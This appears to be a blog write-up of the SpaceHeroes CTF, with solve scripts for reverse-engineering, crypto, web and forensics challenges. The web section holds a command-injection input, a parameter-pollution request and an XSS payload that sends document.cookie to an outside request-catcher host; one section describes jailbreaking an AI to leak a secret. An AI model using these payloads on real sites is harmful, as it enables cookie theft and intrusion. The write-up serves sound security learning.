SPACEHEROES CTF
This is a CTF that i played solo for some individual reasons and am happy to see how it turned out to be!
Survey
Sanity check
Seek the truth…..
Join the discord server
Send the command in the description to the bot !truth
RE
Acheron
We get a 64 bit linux executable that when executed calls in for direction. First I open it with ghidra for static analysis to understand what specifically it’s doing. This the code in the main function
It’s just comparing a couple of directions . We can copy this to a file and use this bash one liner to get the directions
cat directions | awk -F "==" '{ print $2 }' | tr "'" " " | awk '{ print $1}' | tr -d "\n"
Now since we have the directions we can use the python library called pwntools to send this information to the remote socket.
#!/usr/bin/python3
# Author : trustie_rity
from pwn import *
import subprocess
import re
p = remote("spaceheroes-acheron.chals.io", 443, ssl=True, sni="spaceheroes-acheron.chals.io")
directions = subprocess.check_output(["cat directions | awk -F '==' '{ print $2 }' | tr \"'\" ' ' | awk '{ print $1}' | tr -d '\n'"], shell=True)
p.recv()
p.sendline(directions)
data = p.recvall()
flag = re.search(rb"shctf{.*}" , data)[0]
log.info(f" { flag } ")
#p.interactive()
Galactic Federation
In this challenge we are provided with a rust binary, using ghidra to do static analysis we are able to see in the main function that we have only one function
That is login_page . In login page we find something really interesting
Two values that are being obfuscated and compared to some weird values. Wait could this be the username and password being requested for when we run the binary?
Possibly so let’s see what the obfuscated function is doing.
One of the things it’s doing is iterating over the values while adding some character to it. We can do the reverse of this pretty easily using python3. This is possible since the output of the obfuscated value is hard coded.
#!/usr/bin/python3
# Author : trustie_rity
l = ord("\a")
name = "hktpu"
password = "8fs7}:f~Y;unS:yfqL;uZ"
new_name = []
new_pass = []
for i in name:
new_name.append(chr(ord(i) - l))
for i in password:
new_pass.append(chr(ord(i) - l))
print("".join(new_name))
print("".join(new_pass))
We get the username and password after running this.
After we enter this we are prompted with a new menu , where we have to select stuff from it.
We can head back to the de-compilation of this to try and understand what these options will be doing.
adjust_economy function is really interesting especially on this piece of code where the collapse_economy function is called. First it divides a value in the local_60 local variable , which happens that we can control it luckily, with 100 then multiplies it with currency and adds it back to currency.
It goes ahead to compare if the currency value is 0 and if so it checks if it’s in usd form and if the check passes it calls collapse_economy() function. Fun part is that the collapse_economy() function is where we get the flag.txt being printed out.
One thing for sure that we want to do is land in the collapse_function.
If you think about it you will realize that
currency = currency + (local_60 / 100) * currency;
We do not know the value of currency at first, so we could use some dynamic analysis here.
This will run the program in gdb. We can now login using the credentials we got from our script. From there we need to choose option adjust_economy then option inflate_currency
No we can break using Ctrl+C and view the currency value, we get the value is 1
On this try we get the value is 2. So initial value of currency must be 1, since 100/100 is 1 and 1*1 is and 1 where the result of adding 1 to 1 gives us two. If we need to end up with a currency of 0, we can send -100 as input then.
Changing the units to usd is pretty simple , in the menu we have a go back option and then we can choose option presidential_decree
Now the units are changed successfully, if we go to economy adjustment and give in -100 we will get the flag now.
We can now translate this to a script , which we can run on the remote server to get the flag.
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
import subprocess
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']
elf = ELF("./galactic_federation.bin")
if args.R:
p=remote("spaceheroes-galactic-federation.chals.io", 443, ssl=True, sni="spaceheroes-galactic-federation.chals.io")
else:
p = elf.process()
values = subprocess.check_output("./script.py", shell=True).strip(b"\n")
values = values.split(b"\n")
username = values[0]
password = values[1]
#gdb.attach(p)
# Login
p.sendlineafter(b"USERNAME: ", username)
p.sendlineafter(b"PASSWORD: ", password)
# Change currency to usd
p.sendlineafter(b">> " , b"presidential_decree")
p.sendlineafter(b">> " , b"change_galactic_currency")
p.sendlineafter(b"What will the galaxy's new form of currency be called?" , b"usd")
p.sendlineafter(b">> " , b"go_back")
# adjust the inflation to get the flag
p.sendlineafter(b">> " , b"adjust_economy")
p.sendlineafter(b">> " , b"inflate_currency")
p.sendlineafter(b"How much would you wish to inflate the economy by? (enter percentage)" , b"-100")
p.interactive()
We get the flag!
Crypto
Welcome to the World of Tomorrow
In this challenge we get a cipher text and an image with an alien wordle. The dcode.fr site allows a very awesome feature to search for some of its tools. In this case we can search for “alien wordle”.
Now we can decode the symbols in the image and figure out how we can decode the cipher text.
After decryption we get the key for decryption, it’s not really the key but it’s the decryption of all characters in the image.
From google I saw in an alien language the colors have some meaning , link
green : means the character is at the correct place
yellow : means the character is in the key but is not in the correct place
black : means it's not in the key
So now we have to figure out which characters to use for the decoder.
The first category is placed well and so we will enter it just like that in the decoder. We get the name star.
The option 3 is in the correct place , 2 is not and we should look for a place to place it. 5 and 4 are okay since they are in the first 4 boxes.
The task at hand is to get 2 more characters to fit the last two boxes.Since we know words after decryption that is “stard_s_” we canbrute force for the remaining characters represented by underscores . Then use vigenere cipher to decode the cipher text since they mentioned in the description that the aliens liked using old human ciphers.
From the picture below we place “?” on the characters that we don’t know and let the brute force work its way out. We get the key to stardust, and we get the flag.
Now we can wrap the flag in flag format and submit it.
Rick Sanchez Algorithm
In such an rsa challenge one of the easiest way to solve it is by substituting the given values in dcode.fr website like this
Bynary Encoding
In this challenge we get a text file that is completely blank, from the description we can tell that it’s something to do with binary encoding. So I used python to do it since looking at the blank stuff can’t be meaningful unless we use a programming language that will be able to handle different special characters for us.
So we replace a tab with 1 and a space with 0 , then do the conversion to ascii. I created a python script for that
#!/usr/bin/python3
# Author : trustie_rity
with open('transmission.txt', 'r') as input_file:
contents = input_file.read()
contents = contents.replace('\t', '1')
contents = contents.replace(' ', '0')
#print(contents)
binary_string = contents.replace('\n', '')
print(binary_string)
byte_list = [int(binary_string[i:i+8], 2) for i in range(0, len(binary_string), 8)]
ascii_string = ''.join([chr(byte) for byte in byte_list])
print(ascii_string)
I’ve got the same combination on my luggage!
The logic behind solving this challenge is that when you xor 3 numbers and get the output and you know two of the numbers , then you can easily get the third number by xoring the output with the xor output of the two numbers.
This script does just that
#!/usr/bin/python3
# Author : trustie_rity
from pwn import *
"""
plaintext = b'****************************************'
key1 = b'****************************************'
key2 = b'****************************************'
# length is 40
def shield_combination(p, k1, k2):
A = xor(p, k1, k2)
B = xor(p, k1)
C = xor(p, k2)
return A + B + C
print(shield_combination(plaintext, key1, key2).hex())
# so first we need to change this from hex
"""
output = bytes.fromhex("783f3977627a693a320f313e421e29513e036e485565360a172b00790c211a7b117b4a7814510b2d4b0b01465448580a0369520824294c670c3758706407013e271b624934147f1e70187c1c72666949405c5b4550495e5e02390607217f11695a61587c6351536b741d301d6d182c48254e7f4927683d19")
A_output = output[:40]
B_output = output[40:80]
C_output = output[80:120]
k2 = xor(A_output , B_output)
p = xor(C_output , k2)
print(output)
print(p)
Web
Sanity Check In Space
We are provided with a website , so first we are told on the description that we should remember the basics. So we can check the robots.txt file where we get human.txt … it says in the paragraphs printed that we should eat some cookies , so we can therefore change cookie human: false to human:true and pass that challenge, the next one asks us about a password which is in the html comments, the fourth one is doing a ping command which does not properly filter for command injection vulnerability.
So we can inject commands by separating them with semi colons. This the command i used
google.com ; cat flag.txt
attack-strategies
In this challenge the user input is not filtered correctly , therefore when requesting for files from the server we can change the directory value to current one and file to flag.txt to get the flag. First we capture the request with burp suite then we change values to this :-
Forward the request on the web we get the flag
Bank-of-Knowhere
So basically this challenge uses gets to get the user input, mostly this will occasionally be vulnerable to php parameter pollution. So if we juggle the parameters , the server will be confused with which parameter to use:
/?sender=Gamora&receiver=Mantis&receiver=Groot&amount=2000
Sending the input like this will be validated correctly but the value of the receiver used by the server will be the second one , thus we will send the cash to ourselves.
On the web we get
We check the /robots.txt and we get that there is a restricted /admin endpoint. Visiting it right now with the current raise in amount we get the flag.
The DEW
This challenge presents us with a website that has two major functionalities , one is to upload a file and the second one is to send comments.Easily using manual enumeration i am able to find out that the comment section is vulnerable to xss by simply including script tags in the comment which generates errors in the console.
For the upload functionality , we are able to upload , intercept the request and change the file extension successfully without getting any error from the server.
And we get the link to the uploaded js file from the web page.
No we can use the xss vulnerability to execute this file which contains this line of code that will print out all the cookies in the page.
var pairs = document.cookie.split(";");
alert(pairs);
No we can send this payload as our comment
<script src="http://the-truth.hackers.best:31337/images/8b8a7ee3-6f21-4e90-a6ee-b254037c58eeha.png.js"></script>
We get this prompt, so the next thing we can try to figure out is where the flag is. We get this idea of waving the admin from the website itself and the challenge description therefore we can tell the admin to checkout our page and when he is doing so , we will get his cookies which will possibly contain the flag, because remember we have a cookie flag that says we are not admin.
Final payload is
if (document.cookie !== 'flag="if only you were the admin lol"') {
document.location = "https://trustie.requestcatcher.com/test" + document.cookie
}
From there we can set up a server to catch the request. I used this
Use waive the admin to request admin to check up your page.Check the request catcher and we see the flag there
awesome.
My new best friend!
Ever heard AI jail breaks ? This challenge is all about that. We have to craft a special question to convince the AI to give us the secret which is programmed to not give. One of the things I found interesting as I was playing with this challenge was prompt pollution on how Bing AI was tricked into giving out secrets, find it in this link. The link I used to solve this challenge is here!
I used those crafted questions to jailbreak and AI to solve this challenge!
Forensics
Time Leap
We get an image file and since I am only on linux I will be using a autopsy. Autopsy in linux is really ugly to be honest but anyway that’s what we have to deal with , so we can create a new case and add the image file as a partition image.
We can click on file analysis and on the root device disk we get to see a flag.gif . That’s our flag
Click on it to view the full size of the gif
shctf{th1s_i5_the_wi11_0f_St3in5_G4te} is the flag.
A New Hope
In this challenge we get a .pptx after hitting a rabbit hole for some time. I realized when I did strings on it that it had other files in it. It’s of course an archive, so we can use unzip to extract the archive.
In directory ppt/media/ we get 3 images , but using file utility we get that the file type is data while the extension clearly shows it should be a png image. So we can add png magic bytes to this data and view the images.
We notice its a JFIF image , so we need to fix it.
We fix the bytes
I got the bytes from here , no we can export the image and view it from our machine and we get the flag there
shctf{help_m3_ob1_y0u’re_my_0n1y_hope}
My God, it’s full of .- … -.-. .. ..
we get a waveform file , i opened it with audacity and checking its spectrogram we see an interesting pattern that looks like morse code. Funny thing is that its not morse code rather similar to the blank space challenge where we change a dot to 0 and a dash to 1 , then decode the binary number.
Of course you will need to zoom in in order to see it clearly
When we convert those bits we get part of the flag
Now we can register the whole bits and use python to convert them.
#!/usr/bin/python3
# Author : trustie_rity
string = "01110011 01101000 01100011 01110100 01100110 01111011 01001110 00110000 00100000 00110001 00100000 01100011 00110100 01101110 00100000 01001000 00110011 00110100 01110010 00100000 01110101 00100000 00111000 00110011 00110011 01010000 01011111 00111000 00110000 00110000 01110000 00101000 01001001 01101110 00101001 00100000 00111100 00100000 00101111 01100100 01100101 01110110 00101111 01101110 01110101 01101100 01101100 01110011 01110000 01100001 01100011 01100101 01111101"
string = string.replace(' ', '')
byte_list = [int(string[i:i+8], 2) for i in range(0, len(string), 8)]
ascii_string = ''.join([chr(byte) for byte in byte_list])
print(ascii_string)
Félicette
We have a capture file ,my go tool for this one is usually wireshark. After opening it using wireshark we get that all we can see in the protocol hierarchy is the ICMP protocol. Checking the data section we can see a nice hex value.
We can use tshark to extract that data section using this command
tshark -r chall.jpg.pcap -Tfields -Y icmp -e data | tr -d "\n" > hexadecimal.txt
Then using xxd we can get the bytes from hex and redirect them to a file.
cat hexadecimal.txt | xxd -r -p > flag.png
We got the flag , first I just sent it to a file , then used file utility to get the type of file . That’s where I learned it’s an image file.
Thank you for reading up to here. Follow me for more :)